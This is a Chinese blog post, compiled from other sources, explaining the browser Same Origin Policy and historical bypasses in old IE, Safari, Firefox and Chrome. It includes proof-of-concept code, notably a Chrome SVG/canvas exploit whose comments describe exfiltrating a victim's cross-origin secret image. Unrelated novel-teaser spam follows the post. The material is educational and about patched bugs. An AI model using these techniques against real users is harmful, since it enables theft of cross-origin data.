绕过同源策略

绕过同源策略

理解同源策略

Same Origin Policy , SOP。同源策略的含义就是对于不同的页面,如果他们的主机名、协议和端口都相同,那他们就是同一来源。否则不是。

image

参考链接: https://www.anquanke.com/post/id/86078

SOP和DOM

javascript以及其他协议访问DOM时,需要评估URL的三个部分: 主机名、协议和端口。如果两个站点拥有相同的主机名、协议和端口,那么就可以访问DOM。唯一的例外就是IE, 在授权DOM时只验证主机名和协议。

当根玉面下其他主机需要访问源页面的DOM时候,比如open.example.com需要通过login.example.com进行认证时,这些站点可以设置document.domain属性,允许同一域名下的其他站点访问DOM,上面例子可以将 document.domain = "example.com"

参考: 设置document.domain实现js跨域

SOP与CORS

默认情况下,使用XMLHttprequest(XHR)向不同源发送请求,请求可以到达目标网站,但是SOP会阻止读取响应。为了允许XHR通信,需要设置CORS。

如下:

Access-Control-Allow-Origin: *.example.com
Access-Control-Allow-Methods: OPTIONS, GET, POST
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true
<script>
var url = 'http://hack.com/authen;
var xhr = new XMLHttpRequest()
xhr.open('GET',url,true);
xhr.withCredentials = true;
xhr.onreadystatechange = do_something();
xhr.send();

</script>

SOP与插件

理论上,如果插件来自http://example.com:80/ 那么插件只能访问http://example.com:80/。但实际中,会出现各种各样的sop绕过的情况。举一个例子。

Adobe flash提供一种管理跨域通信的机制,就是在不同源下面的网站根目录放一个crossdomain.xml文件,内容大致如下

<?xml version="1.0">
    <cross-domain-policy>
        <site-control permitted-cross-domain-policies="by-content-type">
        <allow-access-from domain="*.excample.com" />
    </cross-domain-policy>
    

有了这个文件就可以在所有子域中应用相互通信。Java和Silverlight也支持crossdomain.xml. Silverlight先查找clientaccesspolicy.xml找不到再查找crossdomain.xml。

IE绕过同源策略

Internet Explorer8 Beta2 及以下版本存在sop绕过漏洞,只需要简单覆盖document对象和domain属性。

var document;
document = {};
document.domain = 'baidu.com';
alert(document.domain);

image

比较老旧,最新的可以参考这个

CVE-2016-7281:IE/Edge同源策略绕过漏洞

Safari中绕过SOP

使用file协议打开html,里面的js可以绕过同源策略

<html>
<body>
<h1> I'm a local file loaded using the file:// scheme </h1>
<script>
xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText);
}
}; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send();
</script>
</body>
</html>

firefox中绕过SOP

比较久远,在firefox16出现过。提一下。

<!Doctype html>
<script>
function poc() {
var win = window.open('https://httpsecure.org/abc/', 'newWin',
'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec(
win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">

在一个你操控的源上执行上面的代码,浏览器会弹出另一个选项卡进行HTTPS验证。加载httpsecure.org/abc以及重定向到 https://httpsecure.org/ <user_uid>/lists(user_uid是你的httpsecure handle)。5秒钟之后,exec函数将触发window.location对象解析正则表达式,这会导致在警告框中显示httpsecure handle。

参考 Firefox本地文件泄露以及同源策略绕过

Chrome同源策略绕过(CVE-2014-3160)

chrome’s M36的发型版本中修复了这个漏洞,需要一定的步骤才能验证这个漏洞,原来这篇文章在bobao360上的,现在改成安全客的网址,链接已经丢失,使用google cache才访问得到。

相关文章内容如下。

通过svg导入外部的内容到画布(canvas),步骤如下

  1. 在恶意站点,部署恶意的SVG

  2. 载入外部的内容

  3. 简单渲染SVG

  4. 生成dataURL表单

poc

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <rect fill="#bbbbbb" width="500" height="300"/>
  <image x="0" y="0" width="400" height="250" 
      xlink:href="https://victim.tld/secret/secret.jpg"/>
</svg>

但是这么做是被同源策略拒绝的

通过浏览器缓存来重置trainted 标识,相关代码如下

This exploit can be performed completely without user interaction. 
The following buttons are just to help you in understanding the exploit 
and how it works: To run it press "exploit step 1" button 
followed by "exploit step 2"
<input type="button" value="exploit step 1" onclick="go1()">
<input type="button" value="exploit step 2" onclick="go2()">
<!-- Populates the image cache with the "secret" cross-origin image -->
<object data="exploit.svg" type="image/svg+xml"></object>
<!-- Canvas (hidden) to strip the cross-origin image into dataURL later 
(can also be hidden using style="display:none" !) -->
<canvas id="canvas" width="700" height="500"/>
<script>
  function importSVG(source, target) {
    var ctx = target.getContext("2d");
    var img = new Image();
    img.src = source;
    img.onload = function() {
      ctx.drawImage(img,0,0);
    }
  }
  // load the attacker's exploit.svg into the Canvas 
  // (note the exploit.svg itself references the victim's 
  // secret cross-origin image!)
  function go1() {
    var canvas = document.getElementById("canvas");
    importSVG("exploit.svg", canvas);
  }
  // tries to exfiltrate the cross-origin image by converting 
  // the canvas into dataURL:
  function go2() {
    var img = canvas.toDataURL("image/png");
    alert("I got the secret image here to exfiltrate stealthy: "+img);
  }
</script>

image

水平有限,并没有搞懂。参考google cache:

http://webcache.googleusercontent.com/search?q=cache:FC2hqNzivlMJ:bobao.360.cn/learning/detail/288.html+&cd=2&hl=en&ct=clnk&gl=us

小结

浏览器爆cve会比较多一点,但很多都只有一个编号并没有详情。一个国外不错的技术网站:https://www.brokenbrowser.com/。内容全部搬运,自己记记看看,不喜勿喷,我技术菜还玻璃心。

参考

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,233评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,013评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,030评论 0 241
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,827评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,221评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,542评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,814评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,513评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,225评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,497评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,998评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,342评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,986评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,812评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,560评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,461评论 2 266